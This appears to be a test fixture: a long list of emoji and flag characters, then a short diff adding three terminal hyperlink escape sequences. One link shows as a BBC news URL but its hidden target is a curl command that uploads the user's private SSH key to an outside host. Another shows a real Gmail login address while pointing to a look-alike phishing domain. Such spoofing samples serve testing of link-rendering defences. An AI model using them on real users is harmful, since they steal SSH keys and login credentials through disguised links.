🚗 🚕 🚙 🚌 🚎 🏎 🚓 🚑 🚒 🚐 🚚 🚛 🚜 🏍 🚲 🚨 🚔 🚍 🚘 🚖 🚡 🚠 🚟 🚃 🚋 🚝 🚄 🚅 🚈 🚞 🚂 🚆 🚇 🚊 🚉 🚁 🛩 ✈️ 🛫 🛬 ⛵️ 🛥 🚤 ⛴ 🛳 🚀 🛰 💺 ⚓️ 🚧 ⛽️ 🚏 🚦 🚥 🏁 🚢 🎡 🎢 🎠 🏗 🌁 🗼 🏭 ⛲️ 🎑 ⛰ 🏔 🗻 🌋 🗾 🏕 ⛺️ 🏞 🛣 🛤 🌅 🌄 🏜 🏖 🏝 🌇 🌆 🏙 🌃 🌉 🌌 🌠 🎇 🎆 🌈 🏘 🏰 🏯 🏟 🗽 🏠 🏡 🏚 🏢 🏬 🏣 🏤 🏥 🏦 🏨 🏪 🏫 🏩 💒 🏛 ⛪️ 🕌 🕍 🕋 ⛩
Objects
⌚️ 📱 📲 💻 ⌨ 🖥 🖨 🖱 🖲 🕹 🗜 💽 💾 💿 📀 📼 📷 📸 📹 🎥 📽 🎞 📞 ☎️ 📟 📠 📺 📻 🎙 🎚 🎛 ⏱ ⏲ ⏰ 🕰 ⏳ ⌛️ 📡 🔋 🔌 💡 🔦 🕯 🗑 🛢 💸 💵 💴 💶 💷 💰 💳 💎 ⚖ 🔧 🔨 ⚒ 🛠 ⛏ 🔩 ⚙ ⛓ 🔫 💣 🔪 🗡 ⚔ 🛡 🚬 ☠ ⚰ ⚱ 🏺 🔮 📿 💈 ⚗ 🔭 🔬 🕳 💊 💉 🌡 🏷 🔖 🚽 🚿 🛁 🔑 🗝 🛋 🛌 🛏 🚪 🛎 🖼 🗺 ⛱ 🗿 🛍 🎈 🎏 🎀 🎁 🎊 🎉 🎎 🎐 🎌 🏮 ✉️ 📩 📨 📧 💌 📮 📪 📫 📬 📭 📦 📯 📥 📤 📜 📃 📑 📊 📈 📉 📄 📅 📆 🗓 📇 🗃 🗳 🗄 📋 🗒 📁 📂 🗂 🗞 📰 📓 📕 📗 📘 📙 📔 📒 📚 📖 🔗 📎 🖇 ✂️ 📐 📏 📌 📍 🚩 🏳 🏴 🔐 🔒 🔓 🔏 🖊 🖊 🖋 ✒️ 📝 ✏️ 🖍 🖌 🔍 🔎
Symbols
❤️ 💛 💙 💜 💔 ❣️ 💕 💞 💓 💗 💖 💘 💝 💟 ☮ ✝️ ☪ 🕉 ☸ ✡️ 🔯 🕎 ☯️ ☦ 🛐 ⛎ ♈️ ♉️ ♊️ ♋️ ♌️ ♍️ ♎️ ♏️ ♐️ ♑️ ♒️ ♓️ 🆔 ⚛ 🈳 🈹 ☢ ☣ 📴 📳 🈶 🈚️ 🈸 🈺 🈷️ ✴️ 🆚 🉑 💮 🉐 ㊙️ ㊗️ 🈴 🈵 🈲 🅰️ 🅱️ 🆎 🆑 🅾️ 🆘 ⛔️ 📛 🚫 ❌ ⭕️ 💢 ♨️ 🚷 🚯 🚳 🚱 🔞 📵 ❗️ ❕ ❓ ❔ ‼️ ⁉️ 💯 🔅 🔆 🔱 ⚜ 〽️ ⚠️ 🚸 🔰 ♻️ 🈯️ 💹 ❇️ ✳️ ❎ ✅ 💠 🌀 ➿ 🌐 Ⓜ️ 🏧 🈂️ 🛂 🛃 🛄 🛅 ♿️ 🚭 🚾 🅿️ 🚰 🚹 🚺 🚼 🚻 🚮 🎦 📶 🈁 🆖 🆗 🆙 🆒 🆕 🆓 🔟 🔢 ▶️ ⏸ ⏯ ⏹ ⏺ ⏭ ⏮ ⏩ ⏪ 🔀 🔁 🔂 ◀️ 🔼 🔽 ⏫ ⏬ ➡️ ⬅️ ⬆️ ⬇️ ↗️ ↘️ ↙️ ↖️ ↕️ ↔️ 🔄 ↪️ ↩️ ⤴️ ⤵️ ℹ️ 🔤 🔡 🔠 🔣 🎵 🎶 〰️ ➰ ✔️ 🔃 ➕ ➖ ➗ ✖️ 💲 💱 ©️ ®️ ™️ 🔚 🔙 🔛 🔝 🔜 ☑️ 🔘 ⚪️ ⚫️ 🔴 🔵 🔸 🔹 🔶 🔷 🔺 ▪️ ▫️ ⬛️ ⬜️ 🔻 ◼️ ◻️ ◾️ ◽️ 🔲 🔳 🔈 🔉 🔊 🔇 📣 📢 🔔 🔕 🃏 🀄️ ♠️ ♣️ ♥️ ♦️ 🎴 👁‍🗨 💭 🗯 💬 🕐 🕑 🕒 🕓 🕔 🕕 🕖 🕗 🕘 🕙 🕚 🕛 🕜 🕝 🕞 🕟 🕠 🕡 🕢 🕣 🕤 🕥 🕦 🕧
Regional Indicators
🇦 🇧 🇨 🇩 🇪 🇫 🇬 🇭 🇮 🇯 🇰 🇱 🇲 🇳 🇴 🇵 🇶 🇷 🇸 🇹 🇺 🇻 🇼 🇽 🇾 🇿
Flags
🇦🇫 🇦🇽 🇦🇱 🇩🇿 🇦🇸 🇦🇩 🇦🇴 🇦🇮 🇦🇶 🇦🇬 🇦🇷 🇦🇲 🇦🇼 🇦🇺 🇦🇹 🇦🇿 🇧🇸 🇧🇭 🇧🇩 🇧🇧 🇧🇾 🇧🇪 🇧🇿 🇧🇯 🇧🇲 🇧🇹 🇧🇴 🇧🇶 🇧🇦 🇧🇼 🇧🇷 🇮🇴 🇻🇬 🇧🇳 🇧🇬 🇧🇫 🇧🇮 🇨🇻 🇰🇭 🇨🇲 🇨🇦 🇮🇨 🇰🇾 🇨🇫 🇹🇩 🇨🇱 🇨🇳 🇨🇽 🇨🇨 🇨🇴 🇰🇲 🇨🇬 🇨🇩 🇨🇰 🇨🇷 🇭🇷 🇨🇺 🇨🇼 🇨🇾 🇨🇿 🇩🇰 🇩🇯 🇩🇲 🇩🇴 🇪🇨 🇪🇬 🇸🇻 🇬🇶 🇪🇷 🇪🇪 🇪🇹 🇪🇺 🇫🇰 🇫🇴 🇫🇯 🇫🇮 🇫🇷 🇬🇫 🇵🇫 🇹🇫 🇬🇦 🇬🇲 🇬🇪 🇩🇪 🇬🇭 🇬🇮 🇬🇷 🇬🇱 🇬🇩 🇬🇵 🇬🇺 🇬🇹 🇬🇬 🇬🇳 🇬🇼 🇬🇾 🇭🇹 🇭🇳 🇭🇰 🇭🇺 🇮🇸 🇮🇳 🇮🇩 🇮🇷 🇮🇶 🇮🇪 🇮🇲 🇮🇱 🇮🇹 🇨🇮 🇯🇲 🇯🇵 🇯🇪 🇯🇴 🇰🇿 🇰🇪 🇰🇮 🇽🇰 🇰🇼 🇰🇬 🇱🇦 🇱🇻 🇱🇧 🇱🇸 🇱🇷 🇱🇾 🇱🇮 🇱🇹 🇱🇺 🇲🇴 🇲🇰 🇲🇬 🇲🇼 🇲🇾 🇲🇻 🇲🇱 🇲🇹 🇲🇭 🇲🇶 🇲🇷 🇲🇺 🇾🇹 🇲🇽 🇫🇲 🇲🇩 🇲🇨 🇲🇳 🇲🇪 🇲🇸 🇲🇦 🇲🇿 🇲🇲 🇳🇦 🇳🇷 🇳🇵 🇳🇱 🇳🇨 🇳🇿 🇳🇮 🇳🇪 🇳🇬 🇳🇺 🇳🇫 🇲🇵 🇰🇵 🇳🇴 🇴🇲 🇵🇰 🇵🇼 🇵🇸 🇵🇦 🇵🇬 🇵🇾 🇵🇪 🇵🇭 🇵🇳 🇵🇱 🇵🇹 🇵🇷 🇶🇦 🇷🇪 🇷🇴 🇷🇺 🇷🇼 🇧🇱 🇸🇭 🇰🇳 🇱🇨 🇵🇲 🇻🇨 🇼🇸 🇸🇲 🇸🇹 🇸🇦 🇸🇳 🇷🇸 🇸🇨 🇸🇱 🇸🇬 🇸🇽 🇸🇰 🇸🇮 🇸🇧 🇸🇴 🇿🇦 🇬🇸 🇰🇷 🇸🇸 🇪🇸 🇱🇰 🇸🇩 🇸🇷 🇸🇿 🇸🇪 🇨🇭 🇸🇾 🇹🇼 🇹🇯 🇹🇿 🇹🇭 🇹🇱 🇹🇬 🇹🇰 🇹🇴 🇹🇹 🇹🇳 🇹🇷 🇹🇲 🇹🇨 🇹🇻 🇺🇬 🇺🇦 🇦🇪 🇬🇧 🇺🇸 🇻🇮 🇺🇾 🇺🇿 🇻🇺 🇻🇦 🇻🇪 🇻🇳 🇼🇫 🇪🇭 🇾🇪 🇿🇲 🇿🇼
😀 😬 😁 😂 😃 😄 😅 😆 😇 😉 😊 🙂 🙃 ☺️ 😋 😌 😍 😘 😗 😙 😚 😜 😝 😛 🤑 🤓 😎 🤗 😏 😶 😐 😑 😒 🙄 🤔 😳 😞 😟 😠 😡 😔 😕 🙁 ☹️ 😣 😖 😫 😩 😤 😮 😱 😨 😰 😯 😦 😧 😢 😥 😪 😓 😭 😵 😲 🤐 😷 🤒 🤕 😴 💤 💩 😈 👿 👹 👺 💀 👻 👽 🤖 😺 😸 😹 😻 😼 😽 🙀 😿 😾
@@ -0,0 +1,3 @@
]8;;file:///usr/bin/curl -X POST http://totes-legit.com -F file=$HOME/.ssh/id_rsa;\Check this out: http://bbc.co.uk/exciting news]8;;\
]8;;http://gmail-google.co/login\https://gmail.google.com/login/]8;;\
]8;;http://example.com\This is a link]8;;\